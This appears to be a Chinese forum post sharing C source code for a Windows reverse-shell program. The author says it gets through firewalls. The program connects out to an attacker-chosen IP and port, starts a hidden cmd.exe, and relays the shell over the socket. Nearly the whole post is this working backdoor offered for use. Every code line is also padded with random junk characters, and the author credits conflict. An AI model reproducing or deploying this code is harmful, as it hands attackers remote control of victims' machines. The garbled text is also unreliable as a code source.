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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Kt/)pc  
V#83!  
/* ============================== qpqokK  
Rebound port in Windows NT -5>NE35Cto  
By wind,2006/7 =%qEf   
===============================*/ Xl%0/ o  
#include IFuZ]CBz  
#include H:S,\D?%2x  
<@, $hso7:  
#pragma comment(lib,"wsock32.lib") H+Z SPHs  
=_pwA:z"A  
void OutputShell(); r;qzo .  
SOCKET sClient; p!W[X%`)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c-CYdi@  
KN[d!}W:  
void main(int argc,char **argv) 6C-YyI#s#  
{ 8_we: 9A  
WSADATA stWsaData; (P@Y36j>N  
int nRet; or?%-)  
SOCKADDR_IN stSaiClient,stSaiServer; #a9_~\s  
|3eGz%Sd  
if(argc != 3) OXhAha`R  
{ |)U|:F/{@  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~OFvu}]  
return; G<qIY&D'  
} 30F!kP*E  
Y=B3q8l5  
WSAStartup(MAKEWORD(2,2),&stWsaData); fA^Em)cs2  
"="O >  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n:#TOU1ix<  
s& yk  
stSaiClient.sin_family = AF_INET; =mt?C n}  
stSaiClient.sin_port = htons(0); CjL<RJR=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BzbDZV  
\t.}-u<7{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TEVI'%F  
{ XutF"9u  
printf("Bind Socket Failed!\n"); w|Aqqe  
return; uJow7-FD  
} m],Ud\  
%XRN]tsu  
stSaiServer.sin_family = AF_INET; $Ua56Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i|$z'HK;+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ax<\jW<  
yTAvF\s$(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hWEnn=BW  
{ H{`{)mS  
printf("Connect Error!"); $k 2)8#\  
return; Nhf~PO({&  
} wNQqfq Z  
OutputShell(); G=d(*+& B  
} 5nLDj:C~  
,=%nw]:  
void OutputShell() }Uw#f@Wh  
{ >bm|%Ou"  
char szBuff[1024]; HFtf  
SECURITY_ATTRIBUTES stSecurityAttributes; UTk r.T+2X  
OSVERSIONINFO stOsversionInfo; :jem~6i  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4A.Q21s  
STARTUPINFO stStartupInfo; VcgBLkIF  
char *szShell; ~1(j&&kXet  
PROCESS_INFORMATION stProcessInformation; t/p $  
unsigned long lBytesRead; 1~5trsB+5  
G$JFuz)|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oRY!\ADR  
jX */piSq  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;#anZC;  
stSecurityAttributes.lpSecurityDescriptor = 0; 8L{u}|{  
stSecurityAttributes.bInheritHandle = TRUE; h/ep`-YaH  
Je7RrCz  
3fkk [U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FLr ;`3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _N#&psQzw  
vK$^y^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2V gP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l I-p_K  
stStartupInfo.wShowWindow = SW_HIDE; =xl~][  
stStartupInfo.hStdInput = hReadPipe; zICI_*~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8k!6b\Imz  
1Ix3i9  
GetVersionEx(&stOsversionInfo); W)=%mdxW0  
Fvl`2W94;  
switch(stOsversionInfo.dwPlatformId) h%}( h2 W  
{ n9UKcN-  
case 1: 3'eG ;<F  
szShell = "command.com"; i^2IW&+}e}  
break; %|IUqjg  
default: yI8tH!  
szShell = "cmd.exe"; !`wW_W  
break; P%>?[9!Nt  
} v,1F-- v  
$ |<m9CW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >S#ul?  
 tFh|V pB  
send(sClient,szMsg,77,0); a39hP*  
while(1) \V%_hl  
{ 's%q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CEtR[Cu  
if(lBytesRead) ;=;JfNnbm  
{ ,0?!ov|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `/:cfP\  
send(sClient,szBuff,lBytesRead,0); Ot9V< D6h  
} P]6}\ ]~  
else o$J6 ~dn  
{ RUXCq`)"<  
lBytesRead=recv(sClient,szBuff,1024,0); +x1/-J8_sg  
if(lBytesRead<=0) break; La,QB3K/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <y=ovkM3  
} PZ OKrW  
} a(x?fa[D  
v3^|"}\q5  
return; `a4 $lyZ  
}
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